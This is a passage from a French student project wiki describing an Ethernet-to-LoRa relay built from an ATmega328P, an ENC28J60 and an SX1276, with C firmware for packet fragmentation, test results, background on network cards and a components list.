&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa afin de réaliser la réussite de la transmission et la réception des paquets Ethernet. Cependant, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
1). Pour le premier problème, des fonctions de SPI sont déjà définies par les fonctions dans la librairie de l'enc28j60, au lieu d'utiliser des fonctions définies nous avons appelé directement la fonction '''spi_init()''' dans le répertoire SPI du LoRa. Ensuite nous avons changé le pin de CS de l'enc28j60 pour que les deux cartes puissent travailler une après l'autre.  &lt;br /&gt;
&lt;br /&gt;
2). Lorsque la longueur d'un paquet Ethernet peut atteindre 1500 octets mais la longueur maximal d'un paquet d'être enregistré dans le buffer du LoRa ne fait que 255 octets, donc nous avions le problème de correspondance de la taille du paquet. Pour résoudre ce problème nous avons fait la fragmentation. Nous avons créé un tableau de 64 octets, ensuite nous avons remplit ce tableau octet par octet. Le dernier octet est réservé pour dire le numéro du fragment et vérifier si c'est la fin du paquet.Quant à la réception, le récepteur doit recevoir des fragments en ordre. Une fois qu'il loupe un fragment, le récepteur va s'arrêter de capter des paquets et attend l'arrivée de nouveau paquet .&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:fragment.jpg|thumb|upright=2|Fragments du paquet]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Après bien avoir étudié des caratères de module LoRa SX1276 et la carte Ethernet réseau ENC28J60, pour leur faire communiquer nous avons écrit un algorithme &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Boucle&lt;br /&gt;
    Si pas de paquet Ethernet en stock Alors&lt;br /&gt;
      tenter de lire un paquet Ethernet pour le mettre en stock&lt;br /&gt;
    FSi&lt;br /&gt;
    Si pas de réception en cours Alors&lt;br /&gt;
      Si paquet Ethernet en stock Alors&lt;br /&gt;
        envoyer un fragment LoRA&lt;br /&gt;
        Si dernier fragment Alors&lt;br /&gt;
          libérer la mémoire du paquet Ethernet&lt;br /&gt;
          attendre un paquet LoRa un temps raisonnable&lt;br /&gt;
        Fsi&lt;br /&gt;
      Sinon&lt;br /&gt;
        Si un paquet Ethernet vient d'être reçu par LoRa Alors&lt;br /&gt;
          envoyer un paquet LoRa de taille 1&lt;br /&gt;
      FSi&lt;br /&gt;
    Fsi&lt;br /&gt;
    Si pas d'envoi en cours et paquet LoRa reçu Alors&lt;br /&gt;
      Si paquet est un fragment (taille &amp;gt; 1) Alors&lt;br /&gt;
        stocker le fragment dans le tampon d'envoi Ethernet&lt;br /&gt;
        Si dernier fragment Alors&lt;br /&gt;
          envoyer le paquet sur Ethernet&lt;br /&gt;
        FSi&lt;br /&gt;
      FSi&lt;br /&gt;
    FSi&lt;br /&gt;
  FinBoucle&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
En suite nous avons interprété cet algorithme en langage C&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
while(1)&lt;br /&gt;
        {&lt;br /&gt;
                if(nb_ethernet==0)&lt;br /&gt;
                {&lt;br /&gt;
                        nb_ethernet = enc28j60PacketReceive();&lt;br /&gt;
                        if(nb_ethernet&amp;gt;0 &amp;amp;&amp;amp; nb_ethernet&amp;lt;=MAX_ETHERNET)&lt;br /&gt;
                        {&lt;br /&gt;
                                index_ethernet = 0;&lt;br /&gt;
                                num_frag = 0;&lt;br /&gt;
                                output_set(5,1);&lt;br /&gt;
                        }&lt;br /&gt;
                        else nb_ethernet=0;&lt;br /&gt;
                }&lt;br /&gt;
#ifdef VERBOSE&lt;br /&gt;
                printf(&amp;quot;num=%d nb_ethernet=%d\n&amp;quot;,num,nb_ethernet);&lt;br /&gt;
                _delay_ms(100);&lt;br /&gt;
#endif&lt;br /&gt;
                if(num&amp;lt;0)&lt;br /&gt;
                {&lt;br /&gt;
                        if(nb_ethernet&amp;gt;0)&lt;br /&gt;
                        {&lt;br /&gt;
                                int i;&lt;br /&gt;
                                num=-1; rxmode=0;&lt;br /&gt;
                                if(index_ethernet &amp;lt; nb_ethernet)&lt;br /&gt;
                                {&lt;br /&gt;
                                        for(i=0;(i&amp;lt;MAX_FRAGMENT) &amp;amp;&amp;amp; (index_ethernet&amp;lt;nb_ethernet);i++)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                unsigned char c = enc28j60ByteRead();&lt;br /&gt;
                                                index_ethernet++;&lt;br /&gt;
                                                packet_lora[i]=c;&lt;br /&gt;
                                        }&lt;br /&gt;
                                        if(index_ethernet &amp;lt; nb_ethernet) packet_lora[i]=0x00;&lt;br /&gt;
                                        else packet_lora[i]=0x80;&lt;br /&gt;
                                        packet_lora[i] |= num_frag++;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                        printf(&amp;quot;ether=%d/%d num_frag=%02x taille=%d\n&amp;quot;,index_ethernet,nb_ethernet,packet_lora[i],i+1);&lt;br /&gt;
#endif&lt;br /&gt;
                                        sx1276_LoRaEntryTx();&lt;br /&gt;
                                        output_set(4,1);&lt;br /&gt;
                                        sx1276_LoRaTxPacket(packet_lora,i+1);           //transmission from LoraServer&lt;br /&gt;
                                        sx1276_LoRaTxReady();&lt;br /&gt;
                                        output_set(4,0);&lt;br /&gt;
                                        if(index_ethernet &amp;gt;= nb_ethernet)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                nb_ethernet = 0;&lt;br /&gt;
                                                enc28j60FreeMemory();&lt;br /&gt;
                                                output_set(5,0);&lt;br /&gt;
                                                /* Attendre un paquet LoRa un temps raisonnable */&lt;br /&gt;
                                                unsigned char test=0;&lt;br /&gt;
                                                sx1276_LoRaEntryRx();&lt;br /&gt;
                                                rxmode=1;&lt;br /&gt;
                                                for(i=0;i&amp;lt;MAX_WAIT/GRAIN_WAIT;i++){&lt;br /&gt;
                                                        test=sx1276_LoRaRxTest();&lt;br /&gt;
                                                        if(test) break;&lt;br /&gt;
                                                        _delay_ms(GRAIN_WAIT);&lt;br /&gt;
                                                        }&lt;br /&gt;
                                                if(test){&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                                        printf(&amp;quot;Got answer!\n&amp;quot;);&lt;br /&gt;
#endif&lt;br /&gt;
                                                        }&lt;br /&gt;
                                        }&lt;br /&gt;
                                        else _delay_ms(10);&lt;br /&gt;
                                }&lt;br /&gt;
                        }&lt;br /&gt;
                        else{&lt;br /&gt;
                                if(num==-2){&lt;br /&gt;
                                        unsigned char c=0;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                        printf(&amp;quot;Send void packet\n&amp;quot;);&lt;br /&gt;
#endif&lt;br /&gt;
                                        sx1276_LoRaEntryTx();&lt;br /&gt;
                                        sx1276_LoRaTxPacket(&amp;amp;c,1);&lt;br /&gt;
                                        sx1276_LoRaTxReady();&lt;br /&gt;
                                        num=-1;&lt;br /&gt;
                                }&lt;br /&gt;
                        }&lt;br /&gt;
                }&lt;br /&gt;
                if(index_ethernet&amp;lt;=0 || nb_ethernet==0){&lt;br /&gt;
                        if(!rxmode) sx1276_LoRaEntryRx();&lt;br /&gt;
                        rxmode=1;&lt;br /&gt;
                        }&lt;br /&gt;
                if(rxmode &amp;amp;&amp;amp; (nb_received=sx1276_LoRaRxPacket(packet_received,MAX_FRAGMENT+1))&amp;gt;0)       //receptionfrom LoraClient&lt;br /&gt;
                {&lt;br /&gt;
                        unsigned char header=packet_received[nb_received-1];&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                        printf(&amp;quot;rec=%d h=%02x\n&amp;quot;,nb_received,header);&lt;br /&gt;
#endif&lt;br /&gt;
                        if (nb_received&amp;gt;1)&lt;br /&gt;
                        {&lt;br /&gt;
                                int j;&lt;br /&gt;
                                if(num&amp;gt;=0 &amp;amp;&amp;amp; (header&amp;amp;0x7f)!=num+1) num=-1;&lt;br /&gt;
                                else{&lt;br /&gt;
                                        if(num&amp;lt;0) num=-1;&lt;br /&gt;
                                        if((header&amp;amp;0x7f)==0x00)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                enc28j60InitializeSend();&lt;br /&gt;
                                                output_set(6,1);&lt;br /&gt;
                                        }&lt;br /&gt;
                                        for(j=0;j&amp;lt;nb_received-1;j++) enc28j60WriteByteSend(packet_received[j]);&lt;br /&gt;
                                        if((header&amp;amp;0x80)==0x00) num++;&lt;br /&gt;
                                        else {&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                                printf(&amp;quot;Ether sending num=%d\n&amp;quot;,num);&lt;br /&gt;
#endif&lt;br /&gt;
                                                num=-2;&lt;br /&gt;
                                                enc28j60FinalizeSend();&lt;br /&gt;
                                                output_set(6,0);&lt;br /&gt;
                                                }&lt;br /&gt;
                                        }&lt;br /&gt;
                        }&lt;br /&gt;
                        rxmode=0;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                        printf(&amp;quot;num=%d\n&amp;quot;,num);&lt;br /&gt;
#endif&lt;br /&gt;
                }&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons effectué des tests avec un module LoRa et une carte réseau chaque coté, nous avons réussit à envoyer des paquets icmp et des paquets arp.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:0001.jpg|thumb|upright=0.75|manipulation]]&lt;br /&gt;
|[[Fichier:0002.jpg|thumb|upright=0.75|tcpdump+ping]]&lt;br /&gt;
|[[Fichier:0003.jpg|thumb|upright=0.75|tcpdump]]&lt;br /&gt;
|[[Fichier:0004.jpg|thumb|upright=0.75|minicom]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;br /&gt;
&lt;br /&gt;
=Programme du projet=&lt;br /&gt;
[[Fichier:Bridge.zip]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39552</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39552"/>
				<updated>2017-02-25T15:26:01Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* Programme du projet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. La puce enc28j60 est Microship présente le premier controleur Ethernet 10BASE-T(10Mbits/s) reference ENC28J60 se laissant facilement piloter via un bus SPI(Serial Programming Interface) par un microcontroleur et ne comportant que 28 broches pour un boitier au format DIL.&lt;br /&gt;
Ce contrôleur Ethernet dispose d'un module MAC et PHY intégrés et de 8ko de mémoire tampon permettant de minimiser la complexité de la mise en oeuvre et le coût. Les applications visées sont : la VoIP, l'automation industrielle, l'automation de bâtiment, l'instrumentation, la sécurité et la domotique.&lt;br /&gt;
Jusqu'à lors, on ne trouvait sur le marché que des contrôleurs Ethernet tels que le RTL8019AS de Realtek. Ce circuit n'existait qu'au format CMS (boitier PQFP) composé d'une centaine de broches dont le tiers étaient destinées au bus de communication parallèle (adresses et données). Bref, sa mise en oeuvre était pour le moins ardue que ce soit sur le plan du routage du circuit imprimé que pour la soudure du composant.&lt;br /&gt;
Ainsi, grâce à son faible nombre de broches faciles à souder, le ENC28J60 permet une intégration sensiblement facilité dans votre réseau domestique en lui couplant un microcontrôleur afin de piloter les fonctionnalités Ethernet. Disponible en boitier DIL (DIP), il reste la solution la moins chère pour la mise en oeuvre d'un projet connecté au réseau Ethernet.&lt;br /&gt;
Il y a 7 sections de fonctionnalités pour ENC28J60. &lt;br /&gt;
*1). Un Interface SPI : un canal de communication entre le contrôleur hôte et l’ENC28J60.&lt;br /&gt;
*2). Les registres de control : contrôle et surveille l’ENC28J60.&lt;br /&gt;
*3). Un buffer RAM avec doubles ports : reçoit et transmet des paquets de données.&lt;br /&gt;
*4). Un arbitre : contrôle l’accès du buffer RAM quand des demandes sont faites de DMA, transmet et reçoit des blocs.&lt;br /&gt;
*5). Un interface bus : interprète des données et des commandes reçues via l’interface SPI.&lt;br /&gt;
*6). Un module MAC(Medium Access Control) : implémente IEEE 802.3 qui conforme MAC logique.&lt;br /&gt;
*7). Un module PHY (Physical Layer) : code et décode des données analogiques qui sont présentées sur l’interface à paire torsadée.&lt;br /&gt;
Le dispositif contient aussi d’autres blocs de supports, tel que l’oscillator, régulateur de tension et la logique de commande du système.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:ether.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
